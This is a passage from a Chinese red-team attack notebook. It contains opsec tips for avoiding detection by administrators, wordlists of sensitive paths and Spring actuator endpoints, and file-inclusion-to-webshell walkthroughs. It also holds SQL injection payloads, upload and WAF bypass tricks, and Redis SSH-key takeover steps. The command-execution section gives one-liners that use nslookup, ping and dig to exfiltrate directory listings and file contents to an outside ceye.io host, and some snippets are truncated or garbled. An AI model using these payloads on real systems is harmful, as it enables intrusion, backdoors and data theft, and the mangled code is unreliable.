508 | 4. 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究
509 | 5. 在进行有可能导致管理员察觉的敏感操作时(如登录远程桌面等),根据目标所在地区,选择对应IP登录。(大多数会提示异地登录提醒,导致权限丢失)
510 | 6. 红队电脑不能保存任何个人信息,在某些工作系统语言不要使用中文,防止被反制。
511 | 7. 拿到机器及时做权限维持,msf的记得自动迁移进程
512 | 8. 尽量和管理员岔开时间段,不要撞到
513 | 9. 如果可以,一天一靶机,htb就不错
514 | 10. 打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。|r0fus0d
515 | 11. 域名资产收集whois反查+兄弟域名+其他后缀域名+备案反查+rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤
516 |
517 |
518 |
519 | ## 一些信息收集的命令
520 |
521 | #### 互联网c段存活检测
522 |
523 | ```bash
524 | nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt
525 | ```
526 |
527 |
528 |
529 | #### apk敏感信息收集
530 |
531 | 提取相关域名链接/IP
532 |
533 | ```
534 | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
535 | grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
536 | ```
537 |
538 | 提取一些敏感信息
539 |
540 | ```
541 | apktool d app_name.apk
542 | grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
543 | ```
544 |
545 | 提取url
546 |
547 | ```
548 | grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt
549 | ```
550 |
551 |
552 |
553 |
554 |
555 | ## mac下反编译apk
556 |
557 |
558 |
559 | 手动敲命令太繁琐了,写个 shell 脚本一键化。
560 |
561 | 在.bash_profile 文件(环境变量)加入这个命令 alias
562 |
563 | apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh",
564 |
565 | 这样当终端打开的时候就可以使用 apkdec 命令了,而脚本 DeApkScript.sh 的内
566 |
567 | 容如下:
568 |
569 | apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd
570 |
571 | $1_dex/ && d2j-dex2jar *.dex
572 |
573 | 功能实现如下:
574 |
575 | • apktool 获取资源文件
576 |
577 | • 将 apk 文件重命名为 zip 文件
578 |
579 | • 解压 zip 文件中的.dex 文件
580 |
581 | • 切换解压目录
582 |
583 | • 将 dex 文件转换成 jar 文件
584 |
585 | 这样,最后只需要使用 JD-GUI 反编译 JAR 即可看见源码了。
586 |
587 |
588 |
589 | ## spring相关程序必扫字典
590 |
591 |
592 |
593 | ```
594 | /v2/api-docs
595 | /swagger-ui.html
596 | /swagger
597 | /api-docs
598 | /api.html
599 | /swagger-ui
600 | /swagger/codes
601 | /api/index.html
602 | /api/v2/api-docs
603 | /v2/swagger.json
604 | /swagger-ui/html
605 | /distv2/index.html
606 | /swagger/index.html
607 | /sw/swagger-ui.html
608 | /api/swagger-ui.html
609 | /static/swagger.json
610 | /user/swagger-ui.html
611 | /swagger-ui/index.html
612 | /swagger-dubbo/api-docs
613 | /template/swagger-ui.html
614 | /swagger/static/index.html
615 | /dubbo-provider/distv2/index.html
616 | /spring-security-rest/api/swagger-ui.html
617 | /spring-security-oauth-resource/swagger-ui.html
618 | /mappings
619 | /metrics
620 | /beans
621 | /configprops
622 | /actuator/metrics
623 | /actuator/mappings
624 | /actuator/beans
625 | /actuator/configprops
626 | /actuator
627 | /auditevents
628 | /autoconfig
629 | /beans
630 | /caches
631 | /conditions
632 | /configprops
633 | /docs
634 | /dump
635 | /env
636 | /flyway
637 | /health
638 | /heapdump
639 | /httptrace
640 | /info
641 | /intergrationgraph
642 | /jolokia
643 | /logfile
644 | /loggers
645 | /liquibase
646 | /metrics
647 | /mappings
648 | /prometheus
649 | /refresh
650 | /scheduledtasks
651 | /sessions
652 | /shutdown
653 | /trace
654 | /threaddump
655 | /actuator/auditevents
656 | /actuator/beans
657 | /actuator/health
658 | /actuator/conditions
659 | /actuator/configprops
660 | /actuator/env
661 | /actuator/info
662 | /actuator/loggers
663 | /actuator/heapdump
664 | /actuator/threaddump
665 | /actuator/metrics
666 | /actuator/scheduledtasks
667 | /actuator/httptrace
668 | /actuator/mappings
669 | /actuator/jolokia
670 | /actuator/hystrix.stream
671 |
672 | ```
673 |
674 |
675 |
676 |
677 |
678 |
679 |
680 | # 漏洞攻击
681 |
682 | ## 文件读取漏洞
683 |
684 | 1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作
685 |
686 | 2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件
687 |
688 | 3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)
689 |
690 | 4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码)
691 | 5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录)
692 | 6、读取程序源代码,方便后面做代码审计,找突破口
693 | 7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息)
694 | 8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。
695 |
696 |
697 | windows常见的敏感文件路径:
698 |
699 | ```
700 | C:\boot.ini //查看系统版本
701 | C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
702 | C:\Windows\repair\sam //存储系统初次安装的密码
703 | C:\Program Files\mysql\my.ini //Mysql配置
704 | C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
705 | C:\Windows\php.ini //php配置信息
706 | C:\Windows\my.ini //Mysql配置信息
707 | C:\Windows\win.ini //Windows系统的一个基本系统配置文件
708 | ```
709 |
710 |
711 | Linux常见的敏感文件路径:
712 |
713 | ```
714 | /root/.ssh/authorized_keys
715 | /root/.ssh/id_rsa
716 | /root/.ssh/id_ras.keystore
717 | /root/.ssh/known_hosts //记录每个访问计算机用户的公钥
718 | /etc/passwd
719 | /etc/shadow
720 | /etc/my.cnf //mysql配置文件
721 | /etc/httpd/conf/httpd.conf //apache配置文件
722 | /root/.bash_history //用户历史命令记录文件
723 | /root/.mysql_history //mysql历史命令记录文件
724 | /proc/mounts //记录系统挂载设备
725 | /porc/config.gz //内核配置文件
726 | /var/lib/mlocate/mlocate.db //全文件路径
727 | /porc/self/cmdline //当前进程的cmdline参数
728 | ```
729 |
730 |
731 |
732 |
733 | ## 文件包含漏洞
734 |
735 | **一、利用思路总结:**
736 |
737 | **1、包含一些敏感的配置文件,获取目标敏感信息**
738 |
739 | **2、配合图片马getshell**
740 |
741 | **3、包含临时文件getshell**
742 |
743 | **4、包含session文件getshell**
744 |
745 | **5、包含日志文件getshell(Apach、SSH等等)**
746 |
747 | **6、利用php伪协议进行攻击**
748 |
749 |
750 |
751 | **二、具体利用方法:**
752 |
753 | **①包含一些敏感的配置文件**
754 |
755 | windows常见的敏感文件路径:
756 | ```
757 | C:\boot.ini //查看系统版本
758 | C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
759 | C:\Windows\repair\sam //存储系统初次安装的密码
760 | C:\Program Files\mysql\my.ini //Mysql配置
761 | C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
762 | C:\Windows\php.ini //php配置信息
763 | C:\Windows\my.ini //Mysql配置信息
764 | C:\Windows\win.ini //Windows系统的一个基本系统配置文件
765 | ```
766 |
767 | Linux常见的敏感文件路径:
768 | ```
769 | /root/.ssh/authorized_keys
770 | /root/.ssh/id_rsa
771 | /root/.ssh/id_ras.keystore
772 | /root/.ssh/known_hosts //记录每个访问计算机用户的公钥
773 | /etc/passwd
774 | /etc/shadow
775 | /etc/my.cnf //mysql配置文件
776 | /etc/httpd/conf/httpd.conf //apache配置文件
777 | /root/.bash_history //用户历史命令记录文件
778 | /root/.mysql_history //mysql历史命令记录文件
779 | /proc/mounts //记录系统挂载设备
780 | /porc/config.gz //内核配置文件
781 | /var/lib/mlocate/mlocate.db //全文件路径
782 | /porc/self/cmdline //当前进程的cmdline参数
783 | ```
784 |
785 |
786 |
787 | **绝对路径:**
788 |
789 | 
790 |
791 |
792 |
793 | **../跨目录读取:**
794 |
795 | 
796 |
797 |
798 |
799 |
800 |
801 | **②配合图片马getshell**
802 |
803 | 需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:
804 |
805 | ```
806 | ');?>
807 | ```
808 |
809 | 
810 |
811 |
812 |
813 | 会在当前目录下生成panda.php,密码为PANDA,连接即可
814 |
815 | 
816 |
817 |
818 |
819 |
820 |
821 | **③包含临时文件+phpinfo getshell**
822 |
823 | 在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。
824 |
825 |
826 |
827 | **利用方法简述:**
828 |
829 | 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
830 |
831 | 同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
832 |
833 | 在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
834 |
835 | 但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
836 |
837 |
838 |
839 | **这个时候就需要用到条件竞争,具体流程如下:**
840 |
841 | 1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
842 |
843 | 2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
844 |
845 | 3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
846 |
847 | 4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
848 |
849 | 5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
850 |
851 | 6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
852 |
853 |
854 |
855 | **操作过程:**
856 |
857 | **访问存在文件包含漏洞的页面**
858 |
859 | ```
860 | http://192.168.136.128:8080/lfi.php?file=/etc/passwd
861 | ```
862 |
863 | 
864 |
865 | 访问phpinfo页面,需要确实存在
866 |
867 | 
868 |
869 |
870 |
871 |
872 |
873 | 然后利用exp进行利用:
874 |
875 | -
876 |
877 | ```
878 | python2 exp.py 目标ip 8080 100
879 | ```
880 |
881 | 
882 |
883 | 在189次请求时,就写入成功了
884 |
885 |
886 |
887 | 脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上
888 |
889 | 
890 |
891 |
892 |
893 | 然后直接利用蚁剑进行连接即可,密码为1:
894 |
895 | 
896 |
897 |
898 |
899 |
900 |
901 |
902 |
903 |
904 |
905 | **④包含session文件getshell**
906 |
907 | session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。
908 |
909 | **利用场景:**
910 |
911 | 一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中
912 |
913 | 利用条件:
914 |
915 | **①session文件路径已知**
916 |
917 | session文件路径位置可以通过phpinfo页面来获取:session.save_path参数
918 |
919 | 
920 |
921 |
922 |
923 | 也可以猜测常见的一些session存储位置:
924 |
925 | -
926 | -
927 |
928 | ```
929 | /var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]
930 | ```
931 |
932 | **②且其中部分内容可控制**
933 |
934 |
935 |
936 | **利用方式:**
937 |
938 | 访问漏洞页面,在参数中构造payload
939 |
940 | 
941 |
942 | 然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看
943 |
944 | 
945 |
946 |
947 |
948 |
949 |
950 | 文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell
951 |
952 | 
953 |
954 |
955 |
956 | 连接webshell
957 |
958 | 
959 |
960 |
961 |
962 |
963 |
964 | **⑤包含日志文件getshell**
965 |
966 | **1.包含Apache日志文件**
967 |
968 | 在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log
969 |
970 | **利用条件:**日志文件的存储路径,并且日志文件可读。
971 |
972 | **①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中**
973 |
974 | **②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log**
975 |
976 | **③也可用通过先包含配置文件来确定日志文件路径**
977 |
978 | -
979 | -
980 |
981 | ```
982 | index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf
983 | ```
984 |
985 |
986 |
987 | **利用方式:**
988 |
989 | 因为会自动url编码,会导致无法利用,所以抓包再请求
990 |
991 | 
992 |
993 |
994 |
995 | 可以看到error.log文件中已经成功写入了payload
996 |
997 | 
998 |
999 |
1000 |
1001 | 然后包含log文件路径即可
1002 |
1003 | 
1004 |
1005 |
1006 |
1007 | 连接webshell
1008 |
1009 | 
1010 |
1011 |
1012 |
1013 | **2.包含SSH日志文件**
1014 |
1015 | -
1016 |
1017 | ```
1018 | ssh ''@192.168.136.143
1019 | ```
1020 |
1021 | 这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell
1022 |
1023 | 
1024 |
1025 |
1026 |
1027 | 可以看到我们登陆的行为都被记录到了日志当中
1028 |
1029 | 
1030 |
1031 |
1032 |
1033 | 可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析
1034 |
1035 | 
1036 |
1037 |
1038 |
1039 |
1040 |
1041 | 通过phpinfo查看到了网站根目录
1042 |
1043 | 
1044 |
1045 |
1046 |
1047 | 本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路
1048 |
1049 | 
1050 |
1051 |
1052 |
1053 | 然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell
1054 |
1055 | 
1056 |
1057 |
1058 |
1059 | 然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行
1060 |
1061 | 
1062 |
1063 |
1064 |
1065 |
1066 |
1067 |
1068 |
1069 | ## sql注入漏洞
1070 |
1071 |
1072 |
1073 | 手注
1074 |
1075 | https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/
1076 |
1077 |
1078 |
1079 | 查询用 http://sqlwiki.radare.cn/
1080 |
1081 |
1082 |
1083 | **mysql数字型手注**
1084 |
1085 | 字符型和数字的注入基本一样(下面直接演示数字型),只是字符的需要闭合前面的一条sql
1086 |
1087 | 常见的闭合就是
1088 |
1089 | ```
1090 | '
1091 |
1092 | "
1093 |
1094 | ')
1095 |
1096 | '')
1097 | ```
1098 |
1099 | 有时还需要注释后面的一些sql
1100 |
1101 | 可以使用
1102 |
1103 | ```
1104 | --+
1105 |
1106 | # 在url里面需要编码为 %23
1107 | ```
1108 |
1109 |
1110 |
1111 | ```
1112 | 判断字段
1113 | ?id=1 and 1=1 order by 1
1114 |
1115 | 回显点判断
1116 |
1117 | ?id=1 and 1=2 union select 1,2
1118 |
1119 | 当前库
1120 |
1121 | ?id=1 and 1=2 union select 1,database()
1122 | 当前用户
1123 |
1124 | ?id=1 and 1=2 union select 1,user()
1125 |
1126 | 当前版本
1127 |
1128 | ?id=1 and 1=2 union select 1,version()
1129 |
1130 | 爆表
1131 |
1132 | ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
1133 |
1134 | 当前表字段名
1135 |
1136 | 用limit进行查询
1137 |
1138 | ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
1139 |
1140 | 获取数据
1141 |
1142 | ?id=1 and 1=2 union select 1,password from admin limit 0,1
1143 | ```
1144 |
1145 |
1146 |
1147 |
1148 |
1149 | mysql报错注入
1150 |
1151 | 在不能联合注入的时候就需要用到它
1152 |
1153 | (有十种报错函数,https://www.cnblogs.com/wocalieshenmegui/p/5917967.html)
1154 |
1155 | ```
1156 | 爆库:
1157 |
1158 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +
1159 |
1160 | 爆表:
1161 |
1162 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
1163 |
1164 | 爆字段:
1165 |
1166 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
1167 |
1168 | 爆数据:
1169 |
1170 | http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +
1171 | ```
1172 |
1173 |
1174 |
1175 | mysql盲注
1176 |
1177 | 1. 时间盲注
1178 | 2. 布尔盲注
1179 |
1180 | 可以用二分,dnslog,等等可以加快注入
1181 |
1182 | 工具
1183 |
1184 | https://github.com/ADOOO/DnslogSqlinj
1185 |
1186 |
1187 |
1188 | 时间盲注也叫延时注入 一般用到函数 `sleep()` `BENCHMARK()`
1189 |
1190 | 一般时间盲注我们还需要使用条件判断函数
1191 |
1192 | `if(expre1,expre2,expre3)` 当expre1为true时,返回expre2,false时,返回expre3 盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等
1193 |
1194 | ```
1195 | select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);
1196 | ```
1197 |
1198 | 们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 `ascii()` `hex()` 等等 `benchmark()`其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
1199 |
1200 | ```
1201 | select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);
1202 | ```
1203 |
1204 |
1205 |
1206 | 盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看 https://www.anquanke.com/post/id/170626
1207 |
1208 | 简单来说就是通过函数看返回true还是false
1209 |
1210 | 1.直接通过字符串截取对比,类似函数很多后面做个总结吧
1211 |
1212 | ```
1213 | http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +
1214 | ```
1215 |
1216 |
1217 |
1218 | 2.用 `IFNULL()` 函数
1219 |
1220 | ```
1221 | http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
1222 | ```
1223 |
1224 | 3.使用 比较函数`strcmp()`
1225 |
1226 | ```
1227 | 1.
1228 |
1229 | http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
1230 | http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +
1231 |
1232 |
1233 | 2.
1234 |
1235 | mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
1236 | Empty set (0.00 sec)
1237 |
1238 | mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
1239 | +----+----------+----------+
1240 | | id | username | password |
1241 | +----+----------+----------+
1242 | | 1 | Dumb | Dumb |
1243 | +----+----------+----------+
1244 | 1 row in set (0.00 sec)
1245 | ```
1246 |
1247 |
1248 |
1249 |
1250 |
1251 | **mssql手注**
1252 |
1253 | 参考https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
1254 |
1255 | 查询基本信息
1256 |
1257 | ```
1258 | and @@version>~1
1259 |
1260 | and (user|1)>-1
1261 |
1262 | and (db_name()|1)>.1
1263 | ```
1264 |
1265 | 判断当前表名和列名 也可以使用 `having 1=1` 和 `group by`
1266 |
1267 | ```
1268 | http://192.168.130.137/1.aspx?id=1 having 1=1
1269 | ```
1270 | **爆出当前表和字段**
1271 |
1272 | [](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.6.png)
1273 |
1274 |
1275 |
1276 |
1277 |
1278 | **爆出所有的字段**
1279 |
1280 | ```
1281 | http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1
1282 | ```
1283 |
1284 | [](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI/blob/master/img/1.4.7.png)
1285 |
1286 |
1287 |
1288 |
1289 |
1290 |
1291 |
1292 | ## 文件上传漏洞
1293 |
1294 |
1295 |
1296 | 
1297 |
1298 |
1299 |
1300 | 练习环境:https://github.com/c0ny1/upload-labs
1301 |
1302 | 参考文章:
1303 |
1304 | https://www.jianshu.com/p/74ca4e884645 (上传总结)
1305 |
1306 | https://www.jianshu.com/p/1ccbab572974 (解析总结)
1307 |
1308 | **特殊后缀绕过黑名单**
1309 |
1310 | apache
1311 |
1312 | > php、php3、php4、php5、phpt、phtml
1313 |
1314 | iis
1315 |
1316 | > asa、cer、cdx
1317 |
1318 |
1319 |
1320 | **上传.htaccess文件**
1321 |
1322 | 我们需要上传一个.htaccess文件,内容为:
1323 |
1324 | ```xml
1325 | #所有文件都会解析成php
1326 | SetHandler application/x-httpd-php
1327 |
1328 | # 解析指定jpg
1329 |
1330 | SetHandler application/x-httpd-php
1331 |
1332 | # 解析xx后缀
1333 | AddType application/x-httpd-php xxx
1334 |
1335 | ```
1336 |
1337 |
1338 |
1339 | **NTFS流冒号截断**
1340 |
1341 | 如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,
1342 |
1343 | ":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。
1344 | 如果":"是文件名的最后一个字符,则不会截断,会报错
1345 | 一个文件名中如果包含1个以上的":"号,也是会报错
1346 |
1347 |
1348 |
1349 | **::$DATA绕过**
1350 |
1351 | windows特性,可在后缀名中加” ::$DATA”绕过
1352 |
1353 |
1354 |
1355 |
1356 |
1357 | **nginx空字节代码执行漏洞**
1358 |
1359 | 在fast-cgi关闭的情况下,nginx版本:0.5.*, 0.6.*, 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问
1360 |
1361 | ```css
1362 | xx.jpg%00.php
1363 | ```
1364 |
1365 |
1366 |
1367 | **IIS 7.0&7.5畸形解析漏洞和nginx畸形解析漏洞**
1368 |
1369 | 默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件
1370 |
1371 | 上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会解析为php
1372 |
1373 |
1374 |
1375 | **iis6畸形目录解析漏洞**
1376 |
1377 | 原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的
1378 |
1379 | 1. 畸形目录解析
1380 | /xxxx.asp/xxx.jpg
1381 | 即.asp结尾的目录下面,而被IIS当成可执行文件来解析
1382 | 2. 分号文件解析
1383 | test.asp;.jpg
1384 |
1385 |
1386 |
1387 | **Apache文件名解析**
1388 |
1389 | Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止
1390 |
1391 | .php.sfds.sfsdf.wewfgw.gwegw
1392 |
1393 | 只认识php就解析为php
1394 |
1395 |
1396 |
1397 | **Apache换行解析漏洞 (CVE-2017-15715)**
1398 |
1399 | 其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析
1400 |
1401 | 上传webshell,然后在1.php后面插入一个\x0A换行
1402 |
1403 |
1404 |
1405 | **nginx文件名逻辑漏洞(CVE-2013-4547)**
1406 |
1407 | 受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
1408 |
1409 | 正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php" 即让图片作为php文件解析
1410 |
1411 | (不能编码,burp改包,把第二个空格改为00)
1412 |
1413 | ```bash
1414 | "/test.jpg .php"
1415 | /test.jpg[0x20][0x00].php
1416 | ```
1417 |
1418 |
1419 |
1420 | **bypass waf**
1421 |
1422 | 安全狗的绕过,常有下列三种方法
1423 |
1424 | a). ===绕过
1425 |
1426 | Content-Disposition : from-data; name="upload" ; filename==="microfan.php"
1427 |
1428 | b). 去除""绕过
1429 |
1430 | Content-Disposition : from-data; name="upload" ; filename=microfan.php
1431 |
1432 | c). 少"绕过
1433 |
1434 | Content-Disposition : from-data; name="upload" ; filename="microfan.php
1435 |
1436 |
1437 |
1438 | ## 命令执行
1439 |
1440 | ### 结果外带
1441 |
1442 | **Windows**
1443 |
1444 | 在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。
1445 |
1446 | ```
1447 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=>text3.txt)
1454 | ```
1455 |
1456 | 为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。
1457 |
1458 | ```
1459 | echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR= test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }
1466 | ```
1467 |
1468 | **(b)Linux**
1469 |
1470 | 在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。
1471 |
1472 | ```
1473 | ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io
1474 | ```
1475 |
1476 | base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。
1477 |
1478 | ```
1479 | pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io
1480 | ```
1481 |
1482 | 如果有多行数据需要外带,那么请考虑下面的语句。(和大佬学的)
1483 |
1484 | ```
1485 | var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done
1486 | ```
1487 |
1488 | oob主要参考一位大佬文章,会在文末列出。
1489 |
1490 |
1491 |
1492 |
1493 |
1494 | ## 未授权漏洞
1495 |
1496 | ### redis
1497 |
1498 | 参考:https://www.cnblogs.com/twosmi1e/p/13308682.html
1499 |
1500 | https://www.cnblogs.com/loopkep/p/11135949.html
1501 |
1502 | #### **常用命令**
1503 |
1504 | ```
1505 | set testkey "Hello World" # 设置键testkey的值为字符串Hello World
1506 | get testkey # 获取键testkey的内容
1507 | SET score 99 # 设置键score的值为99
1508 | INCR score # 使用INCR命令将score的值增加1
1509 | GET score # 获取键score的内容
1510 | keys * # 列出当前数据库中所有的键
1511 | get anotherkey # 获取一个不存在的键的值
1512 | config set dir /home/test # 设置工作目录,Redis产生的备份文件将放在这个目录下
1513 | config set dbfilename redis.rdb # 设置备份文件名
1514 | config get dir # 检查工作目录是否设置成功
1515 | config get dbfilename # 检查备份文件名是否设置成功
1516 | save # 进行一次备份操作
1517 | flushall 删除所有数据
1518 | del key 删除键为key的数据
1519 | ```
1520 |
1521 | 1. 使用SET和GET命令,可以完成基本的赋值和取值操作;
1522 | 2. Redis是不区分命令的大小写的,set和SET是同一个意思;
1523 | 3. 使用keys *可以列出当前数据库中的所有键;
1524 | 4. 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
1525 | 5. 如果键的值中有空格,需要使用双引号括起来,如"Hello World";
1526 |
1527 | #### **利用**
1528 |
1529 | ##### 写ssh-keygen登录
1530 |
1531 | 利用条件
1532 |
1533 | 1. root账号启动redis服务
1534 | 2. 服务器开放SSH服务,允许密钥登录。
1535 |
1536 | 1. 攻击机上生成公私钥
1537 | 
1538 | 2. 未授权访问redis
1539 | 
1540 | 3. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
1541 | 
1542 | 4. 写入键值
1543 | 
1544 | 5. ssh连接
